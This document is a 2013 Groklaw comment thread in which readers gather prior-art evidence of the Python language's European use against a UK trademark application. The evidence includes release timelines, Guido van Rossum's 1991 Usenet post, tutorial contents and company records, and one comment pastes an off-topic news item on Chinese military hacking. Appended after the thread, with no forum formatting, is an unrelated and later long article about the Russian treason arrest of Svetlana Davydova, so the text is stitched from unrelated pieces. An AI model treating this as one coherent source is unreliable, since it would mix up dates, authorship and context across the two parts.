Freedom Force vs the 3rd Reich [2005] - Irrational Games
Vega Strike [2012]
# Software partially written in Python
See http://en.wikipedia.org/wiki/List_of_Python_software
Of note:
GNU Bazaar [2005] - Canonical (based in the UK)
Mercurial [2005] - Used by Mozilla, W3C and others (including the MoinMoin wiki
software)
Calibre [2006]
Also, anyone using Ubuntu (e.g. via the Ubuntu Software Center), Gentoo (e.g.
via Portage) and RedHat (via the YUM package manager) are all dependent on
Python as those applications are written in it.
As are anyone who uses MoinMoin (wiki), Planet (feed aggregator), Plone (content
management system), Roundup and Trac (bug/issue trackers) or ViewVCS (CVS and
SVN web front-ends). [ Reply to This | # ]
Anyone using Ubuntu? Python.co.uk is - Authored by: Anonymous on Friday, February 15 2013 @ 04:28 PM EST
Authored by: Anonymous on Friday, February 15 2013 @ 04:47 PM EST
Authored by: Anonymous on Friday, February 15 2013 @ 06:02 PM EST
Can nobody use whois? The python.org.uk domain was registered (by the company seeking the trademark) in October 1997. Can nobody use the European Trademark database? Multiple companies have a trademark on "Python". St ory at the Guardian. [ Reply to This | # ]
Authored by: Anonymous on Friday, February 15 2013 @ 07:07 PM EST
Well, it sounds like the python language along with python.org has been around
for a rather long time. Longer in fact than the pinched python.co.uk domain
name.
Wouldn't it be appropriate to go to the 'internet gods' and ask for this domain
name back, as by all accounts, the current owners were just squatting and
redirecting to their own active domain names while not using python mark in any
real way. [ Reply to This | # ]
Authored by: Anonymous on Friday, February 15 2013 @ 07:17 PM EST
910220 Python distribution posted to alt.sources. Source
920408 Python 0.9.6. Source
930109 Python 0.9.8. Source
931102 An Introduction to Python. PDF 1 PDF 2
931226 Python FAQ. Source
940124 Python FAQ. Source
940128 Python 1.0.0. Source
940526 Draft Proposal for New Python Syntax. Source
941026 An Overview of Python. PDF 1 PDF 2
950102 Python FAQ. Source
950411 Python 1.2. Source
950918 Join the Python Software Activity. Source
960910 Python FAQ. Source
961025 Python 1.4. Source
970604 The official "Python Powered" logo. Source
9710xx Python and Java: The Best of Both Worlds. PDF
9710xx Python in a Commercial Environment. PDF
971231 Python 1.5. Source
980414 Python 1.5.1. Source
980515 Help me convince my boss. Source
981106 Python Interfaces. Source
981116 Python 2 ideas. Source
990206 Python and Ruby. Source
990414 Python 1.5.2. Source
991029 Comparison between Python and Ruby. Source
000302 Python advocacy. Source
000530 Python Development Team Moves to BeOpen.com. Source
000724 Open letter to Guido van Rossum. Source
000726 The State of Python. Source
000801 Still no new license but draft text available. Source More More
More
000905 Python 1.6. Source
001016 Python 2.0. Source
001027 PythonLabs Team Moves to Digital Creations. Source
010124 Python vs Ruby. Source
010227 Python 1.6.1 released towards GPL incompatibility. Source
010417 Python 2.1. Source
010614 Python 2.0.1c1 - GPL-compatible release candidate. Source
010831 Python descendant to Perl? Source
Path: gmdzi!unido!mcsun!hp4nl!charon!guido
From: gu...@cwi.nl (Guido van Rossum)
Newsgroups: comp.sys.sgi
Subject: Python distribution posted to alt.sources
Message-ID: <2986@charon.cwi.nl>
Date: 19 Feb 91 17:56:47 GMT
Sender: n...@cwi.nl
Lines: 83
I have posted a beta releast of my Python language to alt.sources.
This language is particularly of interest to SGI users since it
contains an interactive interface to the *full* GL library.
Below is the README of that posting. Note that I cancelled part 02 of
the distribution since it contained a huge generated file -- not to
worry.
Guido van Rossum, CWI, Amsterdam <gu...@cwi.nl>
"He used to be a euphemism, now he's just a friend"
----- README follows -----
This is Python, an extensible interpreted programming language that
combines remarkable power with very clear syntax.
This is version 0.9 (the first beta release), patchlevel 1.
Python can be used instead of shell, Awk or Perl scripts, to write
prototypes of real applications, or as an extension language of large
systems, you name it. There are built-in modules that interface to
the operating system and to various window systems: X11, the Mac
window system (you need STDWIN for these two), and Silicon Graphics'
GL library. It runs on most modern versions of UNIX, on the Mac, and
I wouldn't be surprised if it ran on MS-DOS unchanged. I developed it
mostly on an SGI IRIS workstation (using IRIX 3.1 and 3.2) and on the
Mac, but have tested it also on SunOS (4.1) and BSD 4.3 (tahoe).
Building and installing Python is easy (but do read the Makefile).
A UNIX style manual page and extensive documentation (in LaTeX format)
are provided. (In the beta release, the documentation is still under
development.)
Please try it out and send me your comments (on anything -- the
language design, implementation, portability, installation,
documentation) and the modules you wrote for it, to make the first
real release better. If you needed to hack the source to get it to
compile and run on a particular machine, send me the fixes -- I'll try
to incorporate them into the next patch. If you can't get it to work
at all, send me a *detailed* description of the problem and I may look
into it.
If you want to profit of the X11 or Mac window interface, you'll need
STDWIN. This is a portable window system interface by the same
author. The versions of STDWIN floating around on some archives are
not sufficiently up-to-date for use with Python. I will distribute
the latest and greatest STDWIN version at about the same time as Python.
I am the author of Python:
Guido van Rossum
CWI, dept. CST
Kruislaan 413
1098 SJ Amsterdam
The Netherlands
E-mail: gu...@cwi.nl
The Python source is copyrighted, but you can freely use and copy it
as long as you don't change or remove the copyright:
Copyright 1991 by Stichting Mathematisch Centrum, Amsterdam, The
Netherlands.
All Rights Reserved
Permission to use, copy, modify, and distribute this software and its
documentation for any purpose and without fee is hereby granted,
provided that the above copyright notice appear in all copies and that
both that copyright notice and this permission notice appear in
supporting documentation, and that the names of Stichting Mathematisch
Centrum or CWI not be used in advertising or publicity pertaining to
distribution of the software without specific, written prior permission.
STICHTING MATHEMATISCH CENTRUM DISCLAIMS ALL WARRANTIES WITH REGARD TO
THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND
FITNESS, IN NO EVENT SHALL STICHTING MATHEMATISCH CENTRUM BE LIABLE
FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT
OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
******************************************************************/ [ Reply to This | # ]
Authored by: PJ on Friday, February 15 2013 @ 07:45 PM EST
Guido van Rossum's 1994 World Tour:
http://www.python.org/workshops/1994-11/pictures/Guido3.gif
NIST Workshop:
http://www.python.org/workshops/1994-11/sftwr-mgmt-report.html
Attendees:
http://www.python.org/workshops/1994-11/attendees.pics.html
[ Reply to This | # ]
Authored by: Chromatix on Friday, February 15 2013 @ 08:44 PM EST
CCP, the publisher of the very successful MMORPG EVE Online, is based in Iceland - which is a member of the European Economic Area and has applied for membership of the EU. EVE Online is largely implemented in Stackless Python, a version of the Python language that omits the standard library. [ Reply to This | # ]
Authored by: Chromatix on Friday, February 15 2013 @ 08:48 PM EST
The hilariously successful Raspberry Pi, a low-cost computer intended for early computer science education (but finding many other uses too) takes part of it's name from an abbreviation of "Python". The entire concept of the machine was based around having a low-cost computer capable of running the Python language, which is considered relatively friendly to novice programmers. [ Reply to This | # ]
Authored by: Anonymous on Friday, February 15 2013 @ 09:13 PM EST
Python Tutorial
Guido van Rossum
Corporation for National Research Initiatives (CNRI)
1895 Preston White Drive, Reston, Va 20191, USA
E-mail: guido@CNRI.Reston.Va.US, guido@python.org
October 25, 1996
Release 1.4
Copyright © 1991-1995 by Stichting Mathematisch Centrum, Amsterdam, The
Netherlands.
All Rights Reserved
Permission to use, copy, modify, and distribute this software and its
documentation for any purpose and without fee is hereby granted, provided that
the above copyright notice appear in all copies and that both that copyright
notice and this permission notice appear in supporting documentation, and that
the names of Stichting Mathematisch Centrum or CWI or Corporation for National
Research Initiatives or CNRI not be used in advertising or publicity pertaining
to distribution of the software without specific, written prior permission.
While CWI is the initial source for this software, a modified version is made
available by the Corporation for National Research Initiatives (CNRI) at the
Internet address ftp://ftp.python.org.
STICHTING MATHEMATISCH CENTRUM AND CNRI DISCLAIM ALL WARRANTIES WITH REGARD TO
THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS,
IN NO EVENT SHALL STICHTING MATHEMATISCH CENTRUM OR CNRI BE LIABLE FOR ANY
SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING
FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
PERFORMANCE OF THIS SOFTWARE.
Abstract:
Python is a simple, yet powerful programming language that bridges the gap
between C and shell programming, and is thus ideally suited for ``throw-away
programming'' and rapid prototyping. Its syntax is put together from constructs
borrowed from a variety of other languages; most prominent are influences from
ABC, C, Modula-3 and Icon.
The Python interpreter is easily extended with new functions and data types
implemented in C. Python is also suitable as an extension language for highly
customizable C applications such as editors or window managers.
Python is available for various operating systems, amongst which several flavors
of Unix, the Apple Macintosh, MS-DOS, Windows (3.1(1), '95 and NT flavors),
OS/2, and others.
This tutorial introduces the reader informally to the basic concepts and
features of the Python language and system. It helps to have a Python
interpreter handy for hands-on experience, but as the examples are
self-contained, the tutorial can be read off-line as well.
For a description of standard objects and modules, see the Python Library
Reference document. The Python Reference Manual gives a more formal definition
of the language.
Contents
1 Whetting Your Appetite
1.1 Disclaimer
1.2 Introduction
1.3 Where From Here
2 Using the Python Interpreter
2.1 Invoking the Interpreter
2.1.1 Argument Passing
2.1.2 Interactive Mode
2.2 The Interpreter and its Environment
2.2.1 Error Handling
2.2.2 The Module Search Path
2.2.3 ``Compiled'' Python files
2.2.4 Executable Python scripts
2.2.5 The Interactive Startup File
2.3 Interactive Input Editing and History Substitution
2.3.1 Line Editing
2.3.2 History Substitution
2.3.3 Key Bindings
2.3.4 Commentary
3 An Informal Introduction to Python
3.1 Using Python as a Calculator
3.1.1 Numbers
3.1.2 Strings
3.1.3 Lists
3.2 First Steps Towards Programming
4 More Control Flow Tools
4.1 If Statements
4.2 For Statements
4.3 The range() Function
4.4 Break and Continue Statements, and Else Clauses on Loops
4.5 Pass Statements
4.6 Defining Functions
5 Odds and Ends
5.1 More on Lists
5.2 The del statement
5.3 Tuples and Sequences
5.4 Dictionaries
5.5 More on Conditions
5.6 Comparing Sequences and Other Types
6 Modules
6.1 More on Modules
6.2 Standard Modules
6.3 The dir() function
7 Output Formatting
8 Errors and Exceptions
8.1 Syntax Errors
8.2 Exceptions
8.3 Handling Exceptions
8.4 Raising Exceptions
8.5 User-defined Exceptions
8.6 Defining Clean-up Actions
9 Classes
9.1 A word about terminology
9.2 Python scopes and name spaces
9.3 A first look at classes
9.3.1 Class definition syntax
9.3.2 Class objects
9.3.3 Instance objects
9.3.4 Method objects
9.4 Random remarks
9.5 Inheritance
9.5.1 Multiple inheritance
9.6 Odds and ends
10 Recent Additions as of Release 1.1
10.1 The Last Printed Expression
10.2 String Literals
10.2.1 Double Quotes
10.2.2 Continuation Of String Literals
10.2.3 Triple-quoted strings
10.2.4 String Literal Juxtaposition
10.3 The Formatting Operator
10.3.1 Basic Usage
10.3.2 Referencing Variables By Name
10.4 Optional Function Arguments
10.4.1 Default Argument Values
10.4.2 Arbitrary Argument Lists
10.5 Lambda And Functional Programming Tools
10.5.1 Lambda Forms
10.5.2 Map, Reduce and Filter
10.6 Continuation Lines Without Backslashes
10.7 Regular Expressions
10.8 Generalized Dictionaries
10.9 Miscellaneous New Built-in Functions
10.10 Else Clause For Try Statement
10.11 New Class Features in Release 1.1
10.11.1 New Operator Overloading
10.11.2 Trapping Attribute Access
10.11.3 Calling a Class Instance
11 New in Release 1.2
11.1 New Class Features
11.2 Unix Signal Handling
11.3 Exceptions Can Be Classes
11.4 Object Persistency and Object Copying
11.4.1 Persistent Objects
11.4.2 Copying Objects
11.5 Documentation Strings
11.6 Customizing Import and Built-Ins
11.7 Python and the World-Wide Web
11.8 Miscellaneous
12 New in Release 1.3
12.1 Keyword Arguments
12.2 Changes to the WWW and Internet tools
12.3 Other Language Changes
12.4 Changes to Built-in Operations
12.5 Library Changes
12.6 Other Changes
13 New in Release 1.4
13.1 Language Changes
13.2 Run-time Changes
13.3 New or Updated Modules
13.4 Configuration and Installation
About this document ... [ Reply to This | # ]
http://docs.python.org/release/1.4/tut/ - Authored by: Anonymous on Friday, February 15 2013 @ 09:19 PM EST
- Authored by: Anonymous on Friday, February 15 2013 @ 09:19 PM EST http://www.python.org/doc/versions/ - Authored by: Anonymous on Friday, February 15 2013 @ 09:24 PM EST
- Authored by: Anonymous on Friday, February 15 2013 @ 09:24 PM EST http://docs.python.org/release/1.4/tut/ - Authored by: jsoulejr on Friday, February 15 2013 @ 09:28 PM EST
Authored by: cjk fossman on Friday, February 15 2013 @ 10:58 PM EST
SuSE was a German distro back in the day.
I had one of the green Suse 4.2 boxes, but it's gone now.
I'm pretty sure Python was part of it.
Check the attics, folks. [ Reply to This | # ]
Authored by: bugstomper on Saturday, February 16 2013 @ 07:13 AM EST
Authored by: Anonymous on Saturday, February 16 2013 @ 10:01 AM EST
Python was used with Mandrake (then a French distro) in 1999. Here's a link:
http://mail.python.org/pipermail/python-list/1999-November.tx
I did a google search using: "mandrake python
daterange:2447938-2451590"
[ Reply to This | # ]
Mandrake 9.1 - Authored by: The Cornishman on Sunday, February 17 2013 @ 12:33 PM EST
Authored by: Anonymous on Saturday, February 16 2013 @ 01:14 PM EST
Check Dr Dobb's Journal. It covered most emerging technologies! [ Reply to This | # ]
Authored by: Anonymous on Saturday, February 16 2013 @ 03:35 PM EST
The British Library (http://www.bl.uk/) receives a copy of every book published
in the UK and has a nice on-line catalogue. It may also receive copies of some
books not actually published in the UK so lets be cautious.
Assuming this canned query works, it should show all their books on Python
(specifically just the programming language, no snakes or comedians) in date
order:
http://explore.bl.uk/primo_library/libweb/action/search.do?srt=lso01&dscnt=0
&fctN=facet_topic&fctN=facet_rtype&fctV=Python%20%28Computer%20progr
am%20language%29&fctV=books&tab=local_tab&dstmp=1361045265376&ct
=facet&mode=Basic&indx=1&fromLogin=true&vl%28freeText0%29=python
&fn=search&vid=BLVU1
The first hit seems to be from 1996:
Title: Internet programming with Python / Aaron Watters, Guido van Rossum,
James C. Ahlstrom.
Publication Details: New York ; [Great Britain] : M&T Books, c1996.
So what does that "Great Britain" in square brackets mean? Does it
imply that the book was published in the UK or just that it was imported to the
UK? What about the "c" on "c1996"? Are they not sure of the
actual year of publication?
The next hit is still unambiguously in the 20th century:
Title: Programming with Python / Tim Altom with Mitch Chapman.
Publication Details: [Rocklin, Calif. ; Great Britain] : Prima Tech, 1999.
Surely that insicates a UK publication, right?
Just in case, lets look at the next hit:
Title: Python and Tkinter programming.
Publication Details: Greenwich, Conn. : Manning ; London : Financial Times
Management, 1999.
Now, unless somebody moved London, that has to be a UK publication! [ Reply to This | # ]
Authored by: AMc on Sunday, February 17 2013 @ 03:42 AM EST
Try looking for university abstracts or government reports making use of
ArcView/ArcInfo GIS software from 1996 on. Python scripting has been a staple
of the ArcView (now ArcGIS) product line since at least the version 3.x series.
I'm not sure if evidence introduced in the SCO trial would be acceptable, but it
might be another source for citations. I think early versions of OpenServer ran
GNU Mailman, which made use of Python as well. That would have been 1998-1999
timeframe I think, the days of their Skunkworks project.
AMc [ Reply to This | # ]
Authored by: The Cornishman on Sunday, February 17 2013 @ 10:08 AM EST
I have a cover CD from LINUXformat magazine (ref LXF03/07/00 dated July 2000), produced by Future Publishing and helpfully having the words "Made in the EU" on the face of the disc. Included on the CD is Essentials/python/python152.tgz, being a source tarball for Python, marked within Python-1.5.2/README as Copyright 1991-1995 by Stichting Mathematisch Centrum, Amsterdam, The Netherlands. All Rights Reserved Future Publishing is still extant as Future plc. Reg No 3757874 England. 30 Monmouth Street, Bath, BA1 2BW, UK; http://www.futureplc.com/ ---
(c) assigned to PJ
[ Reply to This | # ]
Authored by: The Cornishman on Sunday, February 17 2013 @ 11:30 AM EST
I see several references to publications in English which may or may not have been published from within European countries. The README file for Python 1.5.2 referencesDas Python-Buch which was published in Bonn in 1997 (Source: Buchpreis-Suche I have also found: Mit Python programmieren (in German)
By Tobias Himstedt and Klaus Mänzel
dpunkt.verlag, 1999, 271 pages
ISBN: 3-920993-85-3
dpunkt.verlag are at an address in Heidelberg, see http://www.dpunkt.de/kontakt_adr esse.php ---
(c) assigned to PJ
[ Reply to This | # ]
European Python books - Authored by: Anonymous on Sunday, February 17 2013 @ 04:21 PM EST
Authored by: Anonymous on Sunday, February 17 2013 @ 03:13 PM EST
is how IPKat thinks a python could be described.
More seriously they ponder on the lack of formal
methods for getting public input to the system.
[ Reply to This | # ]
Authored by: Anonymous on Sunday, February 17 2013 @ 07:15 PM EST
Trademark doesn't work like that.
It is to protect a NEW brand, on a certain market segment.
The fact that the brand is not new and is in the wild just makes the trademark
useless.
It is not enforceable. [ Reply to This | # ]
Authored by: Anonymous on Sunday, February 17 2013 @ 11:47 PM EST
Authored by: Anonymous on Monday, February 18 2013 @ 09:11 AM EST
I wonder if there is M$ connction here? This seems like an
attemp to dilute FLOSS. Also, Raspberry Pi is heavy on Python
and has become quite popular and I have been concerned that
M$ might try to sabatage it somehow. I don't mean to be
paranoid, but as long as M$ and FLOSS exist there will be no
peace in the FLOSS world.
[ Reply to This | # ]
Authored by: JamesK on Monday, February 18 2013 @ 12:28 PM EST
Here's an article in Linux Journal from January 1996.
"An Introduction to Python Jan 01, 1996 By Jeff Bauer in Software
Python is an extensible, high-level, interpreted, object-oriented programming language. Ready for use in the real world, it's also free.
$ python
Python 1.2 (Jun 3, 1995) [GCC 2.6.3]
Copyright 1991-1995 Sitchting Mathematisch Centrum, Amsterdam
>> print "hello, bruce"
hello, bruce
>> [CONTROL]-D"
Hope this helps.
The following program contains immature subject matter.
Viewer discretion is advised. [ Reply to This | # ]
Authored by: Anonymous on Monday, February 18 2013 @ 01:50 PM EST
Some of the following companies may be intereseted in helping fight against the
trademark registration.
Python Limited, Company Number: 07359966. Inc. Date: 27 Aug 2010
Reg. Add.: 7 Birkenhead House,Liverpool Road,London,N7 8QD,United Kingdom
Trading Add: Flat 7, Birkenhead House, Liverpool Road, London, N7 8QD
SIC Code: 7210, Hardware Consultancy
Python Systems Ltd, Company Number: 07551995. Inc. Date: 04 Mar 2011
Reg. Add.: Carpenter Court 1 Maple Road,Bramhall,Stockport,Cheshire,SK7 2DH
Trading Add: Carpenter Court, 1 Maple Road, Bramhall, Stockport, Cheshire, SK7
2DH
SIC Code: 7222, Other Software Consultancy & Supply
Python Technology Limited, Company Number: 03657532. Inc. Date: 28 Oct 1998
Reg. Add.: 6 North Quay,Abingdon,Oxfordshire,OX14 5RY,United Kingdom
Trading Add: 6 North Quay, Abingdon, Oxfordshire, OX14 5RY,
SIC Code: 7210, Hardware Consultancy
Python Technical Services Limited, Company Number: 07619754. Inc. Date: 03 May
Reg. Add.: Lupins Business Centre,1-3 Greenhill,Weymouth,Dorset,DT4 7SP
Trading Add: Lupins Business Centre, 1-3 Greenhill, Weymouth, Dorset, DT4 7SP
SIC Code: 7222, Other Software Consultancy & Supply
Python Computing Limited, Company Number: 03385861. Inc. Date: 12 Jun 1997
Reg. Add.: 27 Crofthead Drive,Cramlington,Northumberland,NE23 6LG,United
Kingdom
Trading Add: 27 Crofthead Drive, Cramlington, Northumberland, NE23 6LG,
SIC Code: 7210, Hardware Consultancy
Python Networking Limited, Company Number: 03759614. Inc. Date: 27 Apr 1999
Reg. Add.: 5 Greenfields Close,Hindley,Wigan,Lancashire,WN2 4EL
Trading Add: 5 Greenfields Close, Hindley, Wigan, Lancashire, WN2 4EL
SIC Code: 7260, Other Computer Related Activities
j
[ Reply to This | # ]
Authored by: veatnik on Monday, February 18 2013 @ 07:02 PM EST
The fact that there are many job postings asking for Python experience shows
that the term python as referring to software experience is in general talking
about python programming rather than some new product by this company might be
sufficient grounds to toss the application. I believe that in the US a term
being trademarked cannot have a known meaning within the area of the application
(in this case software trademarks). I think in the US this by itself would be
enough to have the application denied.
So would EU job postings for python programmers help to demonstrate a current
usage for the term python in software that would bar the application? [ Reply to This | # ]
Authored by: Anonymous on Tuesday, February 19 2013 @ 12:39 AM EST
AFAIK, The first digit of an ISBN (10 digit, not the 13 digit ones which all
start 978; in which case it's the fourth digit) is the country code.
All ISBNs starting with a 1 are USA. As such, their publication may not
necessarily indicate usage of Python in Europe. The usage of the Dollar in USA
does NOT indicate usage of it in Europe; Europe mainly uses either the Euro or
Pound.
ISBNs starting with a 0 are UK and so should indicate awareness of the language
and suggest usage thereof.
ISBNs (IIRC) were originally set up by WH Smiths (as SBNs) to handle referencing
their inventory of books with 8 digits and a check digit. When adopted
nationally and internationally, the first digit was 0 for the UK to avoid
changing all the SBNs so issued. They are 10 digits long - the first 9 uniquely
reference the publication and the last digit (or X) is a check digit based the
other 9 digits mod 11. The 13 digit version is a standard UPC-A bar code for
the publication: first 3 digits are 978, then the next 9 are the original ISBN
digits and the last digit is the standard UPC-A check digit (for all the
preceding 12 digits). [ Reply to This | # ]
Authored by: Anonymous on Tuesday, February 19 2013 @ 08:56 AM EST
Chinese Army Unit Is Seen as Tied to Hacking Against U.S.
On the outskirts of Shanghai, in a run-down neighborhood dominated by a 12-story
white office tower, sits a People’s Liberation Army base for China’s growing
corps of cyberwarriors.
The building off Datong Road, surrounded by restaurants, massage parlors and a
wine importer, is the headquarters of P.L.A. Unit 61398. A growing body of
digital forensic evidence — confirmed by American intelligence officials who say
they have tapped into the activity of the army unit for years — leaves little
doubt that an overwhelming percentage of the attacks on American corporations,
organizations and government agencies originate in and around the white tower.
An unusually detailed 60-page study, to be released Tuesday by Mandiant, an
American computer security firm, tracks for the first time individual members of
the most sophisticated of the Chinese hacking groups — known to many of its
victims in the United States as “Comment Crew” or “Shanghai Group” — to the
doorstep of the military unit’s headquarters. The firm was
More
http://www.nytimes.com/2013/02/19/technology/chinas-army-is-seen-as-tied-to-hack
ing-against-us.html?_r=0
[ Reply to This | # ]
Authored by: Anonymous on Tuesday, February 19 2013 @ 11:27 AM EST
https://www.studentlitteratur.se/#32256-01 (Book on Python
programming 2006)
http://libris.kb.se/hitlist?f=&q=AMNE%3a%28PYTHON+programspr%C3%A5k+%29&
r=&m=10&s=r&t=v&d=libris&p=1 (various books on Python)
http://en.wikipedia.org/wiki/Python_%28programming_language%29 (Nokia among many
other users of Python)
JCA [ Reply to This | # ]
As Gorlov remembers it, when he opened the door approximately twenty men dressed in black, with weapons slung over their backs, rushed into the apartment. He saw a gold necklace on one and immediately thought of the jewelry favored by nineties-era Russian gangsters. “Bandits!” he yelled to his wife. “F.S.B.,” said one of the men, producing a badge that identified him as a member of Russia’s domestic-security service, the main successor to the K.G.B. “Where is Svetlana Vladimirovna?” asked another officer, who presented himself as a colonel from a special-cases unit. They found Davydova, who is thirty-six, standing in the entryway, clutching her two-month-old daughter, Cassandra. “We’re taking you away,” the officer told her.
When Gorlov protested, the F.S.B. officer pulled out a court-issued protocol that charged Davydova, under Article 275 of the Russian criminal code, with high treason. He remembers thinking that it was an “act of foolishness, a horrible mistake.” His wife was a thoughtful and at times energetic citizen, who organized small-scale campaigns for local issues; like him, she was opposed to Russia’s involvement in the war in eastern Ukraine, but she was not a committed activist, let alone some sort of spy. Nonetheless, she now appeared to be the first person to be arrested under an amended version of Russia’s treason law, the revision of which had been proposed by the F.S.B. in the wake of anti-Kremlin protests in late 2011 and early 2012.
After some of the agents led Davydova out of the apartment, the remaining ones searched the Soviet-era apartment, a cramped two-bedroom full of children’s beds, inflatable balls, and stuffed animals. (The couple has four children together and three from Anatoly’s first marriage; the oldest is fourteen.) At one point, an agent found a notebook with the word “notebook” written in English on the cover, and asked why the family had items marked up with foreign languages. And why did they have so many mobile phones? So all the children can be in touch with us, Gorlov said. The agents confiscated a computer, two laptops, six mobile phones, eight credit cards, and a pile of old train tickets.
They also left Gorlov with an arrest warrant outlining Davydova’s supposed crime. It stated that she had placed a call to the Ukrainian embassy in Moscow in April, at the start of the war in Ukraine between the government in Kiev and Russian-backed rebels in the east. She was accused of having warned the embassy that Russian troops stationed in Vyazma might be en route to Donetsk, the rebel-held capital in the east. The warrant noted that Davydova and Gorlov’s bedroom window looks out over a base that hosts an élite brigade of the G.R.U., Russia’s military-intelligence service. Davydova, it read, had observed that the base had emptied out.
At around the same time, the warrant alleged, she had taken a ride in a shared taxi in town. Gorlov later described this trip to the newspaper Kommersant, saying that his wife had overheard a passenger, who appeared to be a military officer, talking into his cell phone about an upcoming assignment in which he and his comrades would travel to Moscow in civilian clothes, and from there to an unspecified mission. Could that mean eastern Ukraine? His wife wanted to “prevent possible suffering,” Gorlov told the paper. During their search, F.S.B. officers had also found her diary, and they included several entries in their report. She had written of her hope to “save the lives of Ukrainians and the territorial integrity of the country” and, in another passage, that “sooner or later my views could lead to repression.”
For allegedly passing along to the Ukrainian embassy what amounted to a collection of observations and guesses, Davydova was facing up to twenty years in prison. Even by the standards of Russian jurisprudence, the case struck many as particularly harsh: a housewife and mother of seven children, one of whom was still breastfeeding, had been taken from her family and ordered held in Moscow’s high-security Lefortovo prison, pending trial. (During the Soviet period, the K.G.B. held political prisoners at Lefortovo; it is now run by the F.S.B.) Davydova’s first, state-appointed lawyer did not seem prepared to offer an especially vigorous defense. “The case hasn’t just been made up, and there is information available that justifies it,” he told a Moscow radio station.
The Davydova affair was of a piece with other punitive and, at times, absurd prosecutions that had taken place since Vladimir Putin’s return to the Presidency in May of 2012, a period of purposefully heightened suspicion and hostility. In the wake of Putin’s standoff with the United States and Europe over Ukraine, and an economy that has severely weakened of late, Russian officials and state media have kept society on edge, wary of the West’s machinations and afraid of plots hatched from within. State officials and propagandists presented Davydova in this light. “We are dealing undoubtedly with an infliction of damage to the country’s security,” Alexander Khinshtein, a prominent lawmaker, said last week.
But Davydova quickly began to gather sympathy, becoming a cause célèbre for the country’s liberals and independent media outlets—ever-shrinking and demoralized constituencies, but ones still capable of periodic vibrancy. A petition hosted by Novaya Gazeta, a liberal newspaper in Moscow, gathered tens of thousands of signatures, including those of Andrey Zvyagintsev, the Oscar-nominated director of “Leviathan,” and Natalia Solzhenitsyn, the widow of Aleksandr Solzhenitsyn. Compared to the government’s usual targets in such cases, Davydova appeared especially undeserving: she may have been a kind of naïve peacenik, but she was not a credible threat to state security.
The attention apparently convinced the Kremlin that Davydova’s detention was becoming a liability. On Tuesday afternoon, nearly two weeks after the arrest, her new lawyers, Sergey Badamshin and Ivan Pavlov, got a call from the F.S.B.’s lead investigator on the case. Come by this afternoon, the officer said. When they showed up, he told them that Davydova would be released. The treason charge would remain, but she would be free to await trial at home in Vyazma. “They sat there with stone faces,” Badamshin told me. “No thuggishness, very professional. But with a kind of pale look, as if they have to explain themselves to their bosses.” He speculated that Davydova’s arrest had stemmed from “an excess of execution,” in which mid-level F.S.B. officials had decided to seize on the official mood with too much enthusiasm. “I can suppose there will be a huge showdown inside headquarters,” he said, adding that he nevertheless expected the F.S.B. to “protect its own snout, rallying to defend its esprit de corps.”
Not long after Badamshin and Pavlov’s meeting with the F.S.B., Davydova was released. She walked out of Lefortovo and into a snowy Moscow evening alongside her lawyers, then headed straight back to Vyazma. She arrived sometime after three A.M., and was greeted by Gorlov and their children.
When I walked into the apartment later that morning, Davydova was pacing the hallway with Cassandra in her arms. She was wearing a red t-shirt and black leggings, and her hair was cut short around her face. Her lawyers had advised her not to talk about the details of the case, so we restricted our conversation to how she was feeling. “I haven’t slept in three days,” she said. She described to me Lefortovo’s “dark corridors, bars above your head, the handcuffs.” It had, she said, been a psychological strain. “I didn’t know how time was passing. I didn’t have a watch, a clock, nothing—I figured out the time from listening the radio.”
I went to the living room and sat down with Gorlov, who acknowledged that he and his wife had been saddened by the violence in Ukraine, and that they questioned the official Russian version of events, which admits only that some army “volunteers” are fighting in the east. “So suddenly a volunteer takes leave from his military unit, and he ends up with an automatic rifle, in a tank, in some other country entirely?” he said. “These mythical vacationers were never clear to me. This whole conflict, in which Russia is supposedly not involved, was never clear to me.”
That critique did not extend, he said, to outright anti-Kremlin protest, let alone to espionage. The couple have what Russians would call an “active civic position,” which is to say that they’re civically engaged: Gorlov, for instance, once filed a complaint for inciting hatred against the state-television propagandist Dmitry Kiselev (it went nowhere); Davydova, some years ago, led a successful campaign to improve Vyazma’s water infrastructure. But it struck Gorlov as impossibly silly that his wife could have somehow damaged national security. (Owing to the ongoing legal proceedings, Davydova can’t discuss the alleged phone call.) “Put a green ZIL car, for example, next to a Ural, and ask Svetlana Vladimirovna which is which,” he said. “She won’t be able to tell the difference. And how is such a person supposed to suddenly take possession of state secrets, let alone pass them along?”
Russia’s treason law was amended by parliament in October, 2012, following a season of anti-Kremlin protest. The F.S.B., which had been caught off guard by the country’s opposition movement, and had come in for criticism even from Putin, wanted a more powerful instrument. The legal definition of treason was widened to include “providing financial, technical, advisory or other assistance to a foreign state or international organization... directed at harming Russia’s security.”
Andrei Soldatov, an investigative journalist who covers Russia’s security services, explained to me that the law’s original incarnation was “evidence-based, depending on documents and expertise” to prove that a defendant had disclosed state secrets. But now its implementation “depends on the opinion of special services: if they decide that some actions or statements bring harm to the Russian Federation, then that’s enough.” In Davydova’s case, he said, even if she told Ukrainian officials something untrue, “all that matters is that F.S.B. considers that she caused damage.”
He went on to explain that the F.S.B. has been engaged in something of a public-relations campaign over the past year. In the new, post-Ukraine climate, he said, “The F.S.B. again needs to show that it is defending the country in an environment of terrible danger and threats from NATO.” Soldatov said that nearly all foreign embassies in Moscow have their communications monitored, which means that if Davydova did call the Ukrainian embassy in April, as the F.S.B. alleges, the agency knew about it for some time before arresting her. “That folder was lying around, and then suddenly they needed to show their activity, and so they pulled it out,” Soldatov said.
